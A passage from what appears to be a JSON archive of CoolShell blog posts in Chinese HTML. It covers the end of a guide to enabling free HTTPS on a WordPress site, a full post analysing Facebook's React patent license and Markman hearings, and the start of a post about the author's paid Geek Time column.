December])</li>\n<li>第5个字段：一周当中的某天 (0-7 [7 或 0 代表星期天])</li>\n<li>/path/to/command – 计划执行的脚本或命令的名称</li>\n</ul>\n<p><strong>这么方便的同时，我不禁要问，如果是一些恶意的钓鱼网站也让自己的站点变成https的，这个对于一般用来说就有点难以防范了。哎……</strong></p>\n<p>当然，在nginx或apache上启用HTTPS后，还没有结束。因为你可能还需要修改一下你的网站，不然你的网站在浏览时会出现各种问题。</p>\n<p><strong>启用HTTPS后，你的网页中的所有的使用 <code>http://</code> 的方式的地方都要改成 <code>https://</code> 不然你的图片，js， css等非https的连接都会导致浏览器抱怨不安全而被block掉</strong>。所以，你还需要修改你的网页中那些 hard code <code>http://</code> 的地方。</p>\n<p>对于我这个使用wordpress的博客系统来说，有这么几个部分需要做修改。</p>\n<p style=\"padding-left: 30px;\">1）首先是 wordpress的 常规设置中的 “<strong>WordPress 地址</strong>” 和 “<strong>站点地址</strong>” 需要变更为 https 的方式。</p>\n<p style=\"padding-left: 30px;\">2）然后是文章内的图片等资源的链接需要变更为 https 的方式。对此，你可以使用一个叫 “<a href=\"https://wordpress.org/plugins/search-regex/\" rel=\"noopener noreferrer\" target=\"_blank\">Search Regex</a>” 插件来批量更新你历史文章里的图片或别的资源的链接。比如：把 <code>http://coolshell.cn</code> 替换成了 <code>https://coolshell.cn</code></p>\n<p style=\"padding-left: 30px;\">3）如果你像我一样启用了文章缓存（我用的是<a href=\"https://wordpress.org/plugins/wp-super-cache/\" rel=\"noopener noreferrer\" target=\"_blank\">WP-SuperCache</a>插件），你还要去设置一下 “<strong>CDN</strong>” 页面中的 “Site URL” 和 “off-site URL” 确保生成出来的静态网页内是用https做资源链接的。</p>\n<p>基本上就是这些事。希望大家都来把自己的网站更新成 https 的。</p>\n<p>嗯，12306，你什么时候按照这个教程做一下你的证书？</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19395.html\"><img alt=\"HTTP API 认证授权术\" height=\"150\" src=\"../wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19395.html\">HTTP API 认证授权术</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11021.html\"><img alt=\"从“黑掉Github”学Web安全开发\" height=\"150\" src=\"../wp-content/uploads/2014/02/Github-Security-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11021.html\">从“黑掉Github”学Web安全开发</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8767.html\"><img alt=\"Web工程师的工具箱\" height=\"150\" src=\"../wp-content/uploads/2012/12/webtoolbox-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8767.html\">Web工程师的工具箱</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8711.html\"><img alt=\"程序员疫苗：代码注入\" height=\"150\" src=\"../wp-content/uploads/2012/12/200906020837401710-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8711.html\">程序员疫苗：代码注入</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6043.html\"><img alt=\"Web开发中需要了解的东西\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6043.html\">Web开发中需要了解的东西</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5987.html\"><img alt=\"如何设计“找回用户帐号”功能\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5987.html\">如何设计“找回用户帐号”功能</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/18094.html\">如何免费的让网站启用HTTPS</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2017-9-19 关于Facebook 的 React 专利许可证.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-sup_wechat_big\" height=\"200\" src=\"../wp-content/uploads/2017/09/react_patent-360x200.jpg\" width=\"360\"/>随着Apache、百度、Wordpress都在和Facebook的React.js以及其专利许可证划清界限，似乎大家又在讨论Facebook的这个BSD+PATENT的许可证问题了。这让我想起了之前在Medium读过的一篇文章——《<a href=\"https://medium.com/@dwalsh.sdlr/react-facebook-and-the-revokable-patent-license-why-its-a-paper-25c40c50b562\" rel=\"noopener noreferrer\" target=\"_blank\">React, Facebook, and the Revocable Patent License, Why It’s a Paper</a>》，我觉得那篇文章写的不错，而且还是一个会编程的律师写的，所以有必要把这篇文章传播到中文社区这边来。注意，我不会全部翻译，我只是用我的语言来负责搬运内容和观点，我只想通过这篇文章让大家了解一下这个世界以及专利相关的知识，这样可以避免你看到某乎的“怎么看待XXX”这类的问题时人云亦云，能有自己的独立思考和自我判断。;-)</p>\n<p>这篇文章的作者叫Dennis Walsh，他自称是亚历桑那和加利福尼亚州的律师，主要针对版权法和专利诉论的法律领域。但是这个律师不一样，他更很喜欢商业和软件多一些。现在他用React/GraphQL/Elixir在写一个汽车代理销售相关的软件，而且已经发布到第2版了。</p>\n<p>首先，作者表明，专利法经常被人误解，因为其实充满了各种晦涩难懂的法律术语，所以，作者用个例子来讲述专利的一个原则 —— <strong>专利并不是授于让你制造或开发的权利，而是授予你可以排他的权利。（</strong>事实上似乎也是这样，申请专利很多时候都不是为了制作相关的产品，而是为了防止别人使用类似的技术制作相关的产品）</p>\n<p><span id=\"more-18140\"></span></p>\n<p>如果有公司X为铅笔申请了专利，而另一家公司Y为把用于铅笔的橡皮擦申请了专利。那么，公司X可以阻止公司Y来生产铅笔，而对带橡皮擦的铅笔没办法，但是公司Y的专利可以让公司X不能生产带有橡皮擦的铅笔。</p>\n<p>所以，公司Y的橡皮擦专利又被广泛地叫作“<a href=\"https://definitions.uslegal.com/b/blocking-patent/\" rel=\"noopener noreferrer\" target=\"_blank\">Blocking Patent</a>”。公司Y不能说他发明了铅笔，因为这是公司X的专利，但是，他们可以让公司X无法对铅笔做出某些改进。</p>\n<p>于是，因为这种 Blocking Patent 存在，对于开源的公司是不利的，因为根据上面的那个例子来说，开源公司就是公司X，他们做了一个基础的软件，而公司Y在上面做了些改进，并注册成了专利，从而导致开源的公司X无法对它基础开源软件作出被公司Y专利阻止的改进，开源的公司X希望能够自由地使用公司Y的橡皮擦专利，因为毕竟是它发明了铅笔并放弃了铅笔的专利。</p>\n<p>于是就出来了“专利反击条款”（<a href=\"https://en.wikipedia.org/wiki/Software_patents_and_free_software#Patent_retaliation\" rel=\"noopener noreferrer\" target=\"_blank\">Patent Retaliation Clauses</a>）。一般来说有两种专利条款，一种是弱条款，一种是强条款。</p>\n<p>Weak Patent Retaliation Clauses – 这种条款声明，如果许可证持有者用某个专利来打击许可证颁布者，那么专利就视为终止。用人话来表达就是，公司X做了一个开源铅笔，而公司Y注册了橡皮檫专利。此时，公司X做了一支带像皮擦的铅笔，而公司Y马上对公司X提起专利侵权诉讼。那么，公司Y就失去了对底层铅笔的专利控制。（正如前面所说的，公司Y的橡皮擦专利因为在起诉公司X的开源铅笔，而失去了对开源铅笔的专利排他权利）</p>\n<p>Strong Patent Retailiation Clauses – 这种条款声明比“弱条款”要的更多。具体来说就是，任何专利声明终结许可证，而不管这个专利有没有和你基础的软件有关系。用人话来说就是，公司Y使用他们的热气球专利来起诉公司X，那么公司Y就失去了他们对铅笔的专利限制。</p>\n<p>我个人理解起来，这两种条款看上去是防御性质的。</p>\n<p>Facebook的React的Patent License如下：</p>\n<blockquote><p>The license granted hereunder will terminate, automatically and without notice,if you (or any of your subsidiaries, corporate affiliates or agents) initiatedirectly or indirectly, or take a direct financial interest in, any Patent Assertion: (i) against Facebook or any of its subsidiaries or corporateaffiliates, (ii) against any party if such Patent Assertion arises in whole orin part from any software, technology, product or service of Facebook or any ofits subsidiaries or corporate affiliates, or (iii) against any party relating to the Software. Notwithstanding the foregoing, if Facebook or any of itssubsidiaries or corporate affiliates files a lawsuit alleging patentinfringement against you in the first instance, and you respond by filing apatent infringement counterclaim in that lawsuit against that party that isunrelated to the Software, the license granted hereunder will not terminateunder section (i) of this paragraph due to such counterclaim.</p></blockquote>\n<p>这些条款中和基础软件没有任何关系，所以，<strong>这个条款是“强专利反击条款”</strong>。</p>\n<p>在后面，本文的作者又解解释了，为什么React的“强专利反击条款”就跟没有似的。他在文中针对一些歇斯底里的言论，如：“Facebook不用害怕专利诉讼了，而且他可以随时偷袭你家的专利仓库”，也作出了一些解释来分析这个事。</p>\n<p>Contractural Liability – 意思是说，专利方面的东西只会影响专利上的事，而不会影响和专利无关的事，React底层协议是BSD-3许可证还是会被保留。换句话说，React的“强专利反击条款”只生效于专利层面，而不会对非常专利的软件使用产生问题，如果和专利无关，React还是走BSD-3的许可协议。</p>\n<p>Copyright Liability – 这个和Contractural Liablitity 一样。作者说，如果有人有特别的案例或是有说服力的论据来说明Facebook的这个条款会作用于非专利的地方，那么，请告诉他。</p>\n<p>Patent Liability – 专利的责任和损害是两件事，非专业人士总是会把其搞混。</p>\n<p>第一个问题是Liability， 要搞清这个事，得搞清“Patent’s Claims”，而不是这个技术的技术规格说明，技术规格说明和权力主张是两码事。作者说，现在的很多专利都是一些想法，很多投机份子随便一拍脑袋就发明出一个想法，然后就去注册专利了。但是可以被用来法律执行的只有“Patent’s Claims”（专利的权利主张），而不是那些想法。这些权利主张相当相当的晦涩难读，而且是会故意被模糊掉的，因为，当你清楚的定义了你的发明是什么，那么，就可以清楚的定义出来什么不是你的发明。比如：一个铅笔专利权利主张里说，“这一个用石墨和木头组合起来的写字工具”，那么，只要我不用木头和石墨来做组合，而是用塑料来做组合，那么我就不是专利侵权。所以，一般来说，专利主张是会更为通用一些，比如，“这是一个用于涂画表面的装置，其包括：与涂画端相连的握持端”。作者这里给了一个<a href=\"https://www.google.com/patents/US8046721\" rel=\"noopener noreferrer\" target=\"_blank\">苹果公司的滑动解锁专利</a>的示例。可以感受一下产品规格说明和专利权利主张完全是两码事。</p>\n<p>专利这些事，在法律界里是非常非常困难作出评估的。所以，这个社会每年都会给律师们几十亿美金来一遍又一遍地回答这些问题，而且律师还经常回答错了。而对于美国的法律，对于专利诉讼会有一个叫<a href=\"https://en.wikipedia.org/wiki/Markman_hearing\" rel=\"noopener noreferrer\" target=\"_blank\">Markman hearing的审前听证会</a>（马克曼听证会），自从1996年美国最高法的“<a href=\"https://en.wikipedia.org/wiki/Markman_v._Westview_Instruments,_Inc.\" rel=\"noopener noreferrer\" target=\"_blank\">马克曼诉威斯幽仪器公司案</a>”这个听证会就变成了一个惯例，美国联邦法院用这个听证会来向决定专利权利主张的解释，而且，上诉法院还经常性的推翻审判法院的裁决。（对于美国法律来说，一般是法官认证法律，陪审团认定事实，然而，对于专利而言，1996年的那个案件认为专利术语是一个需要法官决定的法律问题，而不是陪审团决定的事实问题。关于马克曼听证会的事，可以参看本文未尾的附录）</p>\n<p>所以，要决定Facebook的专利责任，我们需要评估Facebook的专利及其权利主张，而不是技术规格说明。具体来说，要明确Facebook对于React这个底层技术的专利权利主张是什么？但是作者搜了一下，发现什么也没有找到。也就是说，对于USPTO（美国专利商标局）或法院来说，他们没办法对Facebook的这样没有为React申请专利的方式来执行任何和专利的诉讼，也就是说，Facebook的这个React License的条款，美国政府是无法在法律上支持的。</p>\n<p>第二个问题是专利损害。就算是Facebook可以评估出来一个合法可执行的专利来保护React，对于专利损害也是很有问题的。作者说他到目前还没有发现一个开源软件被专利侵权的事，就算有这样的案例，也不会是这里说的这个事。作者觉得在这个事上操作起来就是一个笑话。</p>\n<p>另外，作者认为，React 专利许可证这个事就是个纸老虎。因为，一方面，这个专利不像电信通讯里的那些专利，你拿不掉。作者认为要从你的代码中把React去掉虽然难，但是也不是什么很难的事，另外，要打这样的专利官司，一般来说，在美国至少要花100-200万美金的费用才能发起诉讼，而要胜诉则需要需要200多万到2000万美金的费用，你觉得你要花多钱才能把React从你的代码库中剔除？肯定比这钱少。</p>\n<p>作者还认为，Facebook玩这个事虽然出发点不错，但是感觉并不聪明，从目前的情况看下来，就像他想咬你一口，但却没有牙。</p>\n<p>后面，作者还说了一下，转成别的框架会不会有问题？比如：你用Preact/Vue或是你自研的东西？作者说，未必，如果Facebook真的为React注册了专利，比如：React里的组件技术、虚拟DOM渲染技术等等。那么，你用Preact/Vue或是带这样技术的自研的框架，那么，从你使用的第一天就在侵犯Facebook的专利权了。然而，使用React反而不会有这么大的风险，因为Facebook让你免费的用React。作者说，用别的框架的法律风险比用其它替代品的风险更高。</p>\n<p>后面，作者也更新了一篇文章 《<a href=\"https://medium.com/@dwalsh.sdlr/using-graphql-why-facebook-now-owns-you-3182751028c9\" rel=\"noopener noreferrer\" target=\"_blank\">Using GraphQL? Why Facebook Now Owns You</a>》，意思是，用React可能还好，但是用GraphQL就有问题了。因为找到了GraphQL的专利—— <a href=\"https://patents.google.com/patent/US9646028\" rel=\"noopener noreferrer\" target=\"_blank\">“Graph Query Logic”</a>。</p>\n<p>后来我查了一下，我发现，React也有个相关的专利—— “<a href=\"https://patents.google.com/patent/US9003278\" rel=\"noopener noreferrer\" target=\"_blank\">Efficient event delegation in browser scripts</a> ”，看上去和虚拟DOM渲染有关。Holy Shit!</p>\n<p>好了，用还是不用React我也不知道，总之，这个世界比较复杂，我只是想借这篇文章来学习一下法律上的相关东西，欢迎听到大家的观点。</p>\n<p>最后，请允许我调侃一下来结束本文——“不用担心React的许可证问题，因为前端不是一年半就用新的框架重写一次么？”哈哈。</p>\n<p><strong>更新：Facebook官方于20017年9月23日在其官方blog上发贴《<a href=\"https://code.facebook.com/posts/300798627056246/relicensing-react-jest-flow-and-immutable-js\" rel=\"noopener noreferrer\" target=\"_blank\">Relicensing React, Jest, Flow, and Immutable.js</a>》决定取消之前的带专利的许可证。</strong></p>\n<h4>延伸阅读</h4>\n<h5>马克曼听证会 – Markman Hearing</h5>\n<p>马克曼听证会的一些背景知识，下面的文字来源于《<a href=\"http://www.sipo.gov.cn/sipo2013/mtjj/2013/201303/t20130320_788543.html\" rel=\"noopener noreferrer\" target=\"_blank\">“马克曼听证”制度的由来及启示</a>》</p>\n<p>与美国专利诉讼的悠长历史相比，1996年才经美国最高法院确立的“马克曼听证”（Markman Hearing，也称为Claim Construction，即权利要求书的解释）无疑是一项年轻的制度。但由于几乎所有的专利侵权诉讼中都会遇到涉案专利权利要求书的解释这一核心问题，且因“马克曼听证”结果往往清楚地预示了案件结果，经“马克曼听证”获得有利结论的一方一旦据此向法庭提起不审即判的动议，专利侵权诉讼往往可就此快速了结，因此该制度的确立成为美国专利诉讼历史上的一件大事。</p>\n<p>“马克曼听证”制度的由来</p>\n<p>“马克曼听证”制度确立之前，在专利侵权诉讼中的权利要求书解释，通常交由陪审团在对案件事实进行裁决时一并做出，且并不会在诉讼文件上单独就陪审团这一问题的判断进行记录。1991年，马克曼（Markman）先生因认为其拥有的专利号为RE33054的“干洗衣物贮存及追踪控制装置”专利权被Westview公司所侵犯，遂向宾夕法尼亚州东区联邦地方法院提起了专利侵权诉讼。</p>\n<p>该专利是用扫描的方式，将客户的衣物编号扫描后输入电脑中做分类标示，并在衣物干洗过程中追踪衣物位置，干洗完成后自动将衣物放回客户固定的存贮位置。被告的产品则是同时运用扫描器和电脑两种方式，将客户干洗衣物的资料存入电脑并显示费用、日期等相关信息。本案陪审团的裁决认为被告装置构成对原告专利权利的侵犯，但该地方法院认为系争专利与被告装置在功能实施上并不一致，遂推翻陪审团的裁决，判决被告不构成侵权。</p>\n<p>马克曼不服，于1995年向联邦上诉法院提起上诉，但其上诉理由仅为联邦地方法院错误地解释了陪审团关于专利权利要求书解释中某个词语的涵义。联邦上诉法院在审理该案时，将案件的核心问题定为两个：一是原告对于请求项解释有无权利请求陪审团裁决;二是联邦地方法院是否正确地解释了“Inventory”一词。该院多数法官经审理后认为，权利要求书范围的解释与确定，属于法律问题而非事实问题，因而属于法院权限，而不应交由陪审团决定，且此前将此问题交由陪审团确定并不妥当。同时，由于认为原告专利与被告装置存在实质功能上的差异，联邦上诉法院亦不认为被告构成专利侵权。少数持不同意见的该院法官主要是质疑这一结论违反了美国第七宪法修正案（即所有根据美国法律进行的普通法诉讼，只要争议金额超过20美元，即有要求陪审团审判的权利）。</p>\n<p>马克曼不服，向最高法院提出上诉。1996年4月23日，美国最高法院就马克曼诉Westview器械公司案（Markman v. Westview Instruments, Inc. 517 U.S. 370 （1996））做出终审裁决，裁决认定：权利要求书的解释是联邦地区法院法官应当处理的法律问题，而不是应当由陪审团来认定的事实问题，尽管在解释权利要求书的过程中可能会包含一些对于事实问题的解释，且这样做并不违反第七修正案赋予给陪审团的权利。这一裁决标志着“马克曼听证”制度的正式确立。</p>\n<p>“马克曼听证”制度的不足</p>\n<p>该案判决是美国专利诉讼史上的一个重大转折。“马克曼听证”成为法官专门用于解释专利权利要求的一个经常性听证程序，用以解决专利侵权诉讼的核心问题。由于该听证并非普遍适用，因此，十几年来，联邦民事诉讼规则并未正式对其有任何规定，而是给予法院绝对的自由裁量权。但是，何时可以进行“马克曼听证”?如何进行?是否有必要进行?类似问题在一定程度上困扰了审理专利侵权案件较多的法院。</p>\n<p>2001年，加州北区联邦地区法院率先制定了供本法院使用的专利审判专属规则（Patent Local Rules），其中第四部分即为权利要求书的解释程序（Claim Construction Proceddings），对“马克曼听证”的时间、流程、限制及当事人的义务均进行了规定。此后，各州纷纷效仿。目前，乔治亚州北区联邦法院、得克萨斯州东区联邦法院、得克萨斯州南区联邦法院、宾夕法尼亚州西区联邦法院等都制订了书面的“马克曼听证”程序指南。近年来，不断有新的案例在解释与细化着“马克曼听证”，如2006年的Wilson Sporting Goods Co.诉Hillerich &amp; Bradsby Co.案，2005年的Phillips诉AWH Corp.案，2008年的Howmedica Osteonics Corp.诉Wright Medical Technology, Inc.案，这些司法实践大大拓展与丰富了“马克曼听证”使用的实体和程序规则，使之日渐成为美国专利诉讼中一个复杂、完备的司法程序。以至于竟然有人开发了模拟“马克曼听证”程序，只要你愿意，可以下载并训练，以熟悉和确保有真正的权利要求书解释时不会出现不利于自己的问题。</p>\n<p>但是，该听证带来的问题也逐渐受到重视。有人质疑说该程序导致专利诉讼费用增加，因为“马克曼听证”通常会单独进行，且程序复杂，因此导致当事人花费大量的时间与精力，更为重要的是，由于40%至60%的联邦地区法院案件会在联邦巡回上诉法院被推翻，因此，花费巨大的“马克曼听证”似乎价值有限。同时，权利要求书的解释要求是不多不少，忠实于技术发明思想与发明事实，但由于地区法院分散，法官的相关技术知识不十分专业，将权利要求书解释这样的问题交给他们，难免会带来一些无法克服的问题。</p>\n<p>“马克曼听证”制度的启示</p>\n<p>我国民事诉讼中并无陪审团制度，案件的事实问题与法律问题均由法官审理与确定。在专利侵权诉讼中，对于案件中涉及到的技术问题可以通过专家鉴定等方式解决，但并不因此免除法官审理案件的义务，即法律问题的判断归于法官，事实的法律属性判断仍然归于法官。同时，权利要求书的解释在我国的专利侵权诉讼中并不是一个单独的程序，而是合并在案件审理过程中。因此，仅就我国的司法审判而言，“马克曼听证”制度并无直接的借鉴意义。</p>\n<p>但是，对于那些已经走出和正在走出国门的企业来说，了解与掌握这一重要的专利诉讼程序却是极其重要的。通领科技集团的积极尝试充分证明了这一点，而且随着这一程序的不断成熟，美国国际贸易法院（ITC）也开始在审理时适用“马克曼听证”制度。所以，知道“马克曼听证”意味着什么，确保所提交的用于解释权利要求的文件确实充分，学会利用“马克曼听证”，无论是对于破解美国的专利诉讼威胁，还是为未来准备有效的法律武器，无疑都非常重要。（知识产权报　作者　魏玮）</p>\n<p> </p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7448.html\"><img alt=\"扎克伯格的一封信：关于Facebook IPO\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7448.html\">扎克伯格的一封信：关于Facebook IPO</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4939.html\"><img alt=\"Quora使用到的技术\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4939.html\">Quora使用到的技术</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4549.html\"><img alt=\"Facebook 的系统架构\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4549.html\">Facebook 的系统架构</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3396.html\"><img alt=\"Facebook全球关系网\" height=\"150\" src=\"../wp-content/uploads/2010/12/Visualizing-Friendships-on-Facebook-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3396.html\">Facebook全球关系网</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8460.html\"><img alt=\"Go 语言简介（上）— 语法\" height=\"150\" src=\"../wp-content/uploads/2012/11/go2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8460.html\">Go 语言简介（上）— 语法</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/18140.html\">关于Facebook 的 React 专利许可证</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2018-1-2 关于我”极客时间“的专栏.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-medium\" height=\"300\" src=\"../wp-content/uploads/2018/01/geekbang-300x300.jpg\" width=\"300\"/>不少朋友都知道我在“<a href=\"https://time.geekbang.org/\" rel=\"noopener noreferrer\" target=\"_blank\">极客时间</a>”上开了一个收费专栏，这个专栏会开设大约一年的时间，一共会发布104篇文章。现在，我在上面以每周两篇文章的频率已发布了27篇文章了，也就是差不多两个半月的时间。新的一年开始了，写专栏这个事对我来说是第一次，在这个过程中有一些感想，所以，我想在这里说一下这些感受和一些相关的故事，算是一个记录，也算是对我专栏的正式介绍，还希望能得到、大家的喜欢和指点。（当然，CoolShell这边还是会持续更新的）</p>\n<h4>为什么要开设一个收费专栏</h4>\n<p>首先，说一下，为什么要开这个收费专栏。</p>\n<p>老实说，我一开始根本就不想开收费专栏的，是的，完全不想！主要是有两个原因，一方面是我在创业中，我自然是没有太多的时间，另一方面是，我以前在《<a href=\"https://coolshell.cn/articles/17391.html\" rel=\"noopener noreferrer\" target=\"_blank\">为什么我不在微信公众号上写文章</a>》也说过，我觉得知识最好的方式是被检索、讨论、引用、整理、补充和更新。所以，收费这种模式，我感觉并不利于很好的传播。但是，我为什么还干了这么一件事？这事还得从2017年6月份开始说起。</p>\n<p>这个月，一共有三家技术社区来找我，都是希望我能去他们那边开收费专栏，其中一家就是“极客邦科技”。对于这三家来说，从一开始我就是以婉拒的姿态回应的。而“极客邦科技”来找我的时候和我说，一周写五篇，写一年，一共260篇。我当时心想，“去你的，当我啥呢，你们真以为技术文章好写啊”？然后，他们问我可以写多少，我说，我现在也就一个月一篇的节奏……</p>\n<p><span id=\"more-18246\"></span></p>\n<p>然后，就开始了时间漫长的拉锯战。极客邦这边一直从6月份和我谈到9月份，完全就是不达目的不罢休的玩法，其间，每当我说一个问题，他们就会想出一个解，我这边不断地制造不能写下去的问题，他们就不断的给出相应的解。我其实是想让他们知难而退，另外，我也不确定这帮人对于这个事有多上心，因为写技术文章是需要非常认真的态度的，所以，我提出了很多比较苛刻的条件，甚至也很直白的直接拒绝，但是他们完全就跟没有听见似的，不断的想新的方法来让我”上床”（对！就是上床，不是上船）。</p>\n<ul>\n<li>我说，我最多一个月写2-3篇。他们和我说，我们看过了，你写的都是长文，都在5000字左右，一篇可以拆成上下篇，这样就有6篇左右了，然后，你每个月再来两篇文章，一篇是推荐一些资料或资源，一篇是回答读者的问题。这样就有8篇了，一周就可以发2篇了。</li>\n</ul>\n<ul>\n<li>我说，就算是这样，我也没有时间写，我现在创业中，事多得去了，完全没精力投入。然后，他们说，不用你写，我们来帮你写。你去客户那边，叫上我们，你到大会上做分享，叫上我们，你和别人分享，也叫让我们，我们全程录音，然后帮你你整理。然后每周末的时候来找你，和你聊上2个小时。我们把内容做出来，你再精编一下就好了。而且，我们也会帮你分担创业的精力的，我们极客邦/QCon/ArchSummit会帮你的产品做推广、做市场和BD客户……</li>\n</ul>\n<ul>\n<li>我说，就算是这样，我也没时间。他们说，我们还会给你配个编辑，一个不够就配两个，他们会帮你上网查资料，他们都是计算机专业的，一定是懂技术的。不会让你一个人写的。专栏这种事一定是会需要一个小的编辑团队的。</li>\n</ul>\n<p>他们还甚至在晚上10点左右跑到我家门口来和我谈。这还没完，我继续刁难他们……</p>\n<ul>\n<li>我说，技术文章相当专业，你们来试试看，于是，我给了一篇极其难读的英文论文，还有一篇技术细节非常晦涩的英文文章，我让他们不要翻译，而是读懂后理解完用自己的话，能够让一般人读懂的话写一下。这两篇文章，就算是对于有多年经验的程序员来说，也是很难读的。结果他们一周后，就搞好了，我读了一下，不算特别好，但是对于他们来说，已经很不错了。</li>\n</ul>\n<ul>\n<li>我又说，我的文章中会有好些代码，有数学公式，在手机上怎么排版？阅读体验不行吧。你们还要做音频，我的文章中如果有代码，有图片，有数据公式，你让音频时怎么读？这不行吧。他们说，数学公式可以用LaTeX搞，代码排版会努力排好，同时也提供网页端的浏览。音频会这样搞，会让编辑把代码、数学公式、图片理解完后用别外的话说出来。也就是说，文章要有两个版本，一个是阅读的版本，一个是给音频师的版本。</li>\n</ul>\n<p>就这样，这几个月的过程中，我心里面有了一些不一样的感觉。</p>\n<ul>\n<li>一方面，我觉得这种“不达目的不罢休”的做法让我欣赏。因为我也在创业，创业的过程中有很多难题，也会遇到很多困难和艰辛。而极客邦他们这样的作法我是非常认可，也是非常佩服的，因为，要是换作我，我可能早放弃去寻找其它人了。但是他们没有，他们一直不断地在穷尽一切方法来说服我写专栏。能这样做的人，我觉得这个社会上少之又少，绝大多数人都是畏难和容易退缩的，所以，感觉可以深入交往和合作。</li>\n</ul>\n<ul>\n<li>另外一方面，在整个过程中，我问他们，为什么你们要把这个事做得这么“重”？为什么不做得“轻”一点呢？还要录音频，音频对于技术型的文章里面有一堆坑啊，对于技术文章还有很多无法翻译的英文单词，在计算机的世界里，好多英文单词都是造出来的，音频师怎么读？(后来的确也是这样，我的音频师就把J2EE读成了“J二EE”)，他们的编辑也不知道怎么读，就上Youtube上找相关视频看老外是怎么发音的，然后标注好。而且，我的文章有时候写得太快，经常会有一些小错误，文字好改，但是还要改语音。对于这些，我都觉得好重啊，结果他们说，就是要做个“重的”，就是要做一个别人达不到的标杆，让竞争对手望而却步！</li>\n</ul>\n<p>对于这两点，是让我很赞的。这样的做事精神和态度让我很佩服，是啊，在Amazon里也常说，要不断地提高标准。而且这让我深入思考了一下，一个事如果想要做好，做到极致，就算再简单的事，也会变成复杂，<strong>这个世界上可能并不存在